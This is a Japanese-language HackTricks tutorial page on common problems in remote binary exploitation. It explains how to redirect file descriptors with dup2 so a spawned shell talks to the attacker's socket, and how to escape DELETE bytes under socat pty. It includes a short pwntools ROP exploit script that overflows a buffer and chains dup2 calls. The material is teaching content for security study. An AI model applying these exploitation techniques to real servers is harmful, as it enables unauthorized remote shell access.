hacktricks/src/binary-exploitation/common-exploiting-problems.md

2.0 KiB
Raw Blame History

一般的なエクスプロイトの問題

{{#include ../banners/hacktricks-training.md}}

リモートエクスプロイトにおけるFD

例えば、**system('/bin/sh')**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、/bin/shはstdinFD: 0からの入力を期待し、stdoutおよびstderrに出力を印刷しますFDs 12)。したがって、攻撃者はシェルと対話することができません。

これを修正する方法は、サーバーが起動したときにFD番号 3(リスニング用)を作成し、その後、あなたの接続が**FD番号 4**になると仮定することです。したがって、syscall **dup2**を使用してstdinFD 0とstdoutFD 1をFD 4攻撃者の接続のものに複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。

ここからエクスプロイトの例:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socatはすでに**stdinstdoutをソケットに転送します。ただし、ptyモードはDELETE文字含みます**。したがって、\x7fDELETE -)を送信すると、あなたのエクスプロイトの前の文字を削除します

これを回避するために、エスケープ文字\x16を送信する任意の\x7fの前に追加する必要があります。

ここでこの動作の例を 見つけることができます

{{#include ../banners/hacktricks-training.md}}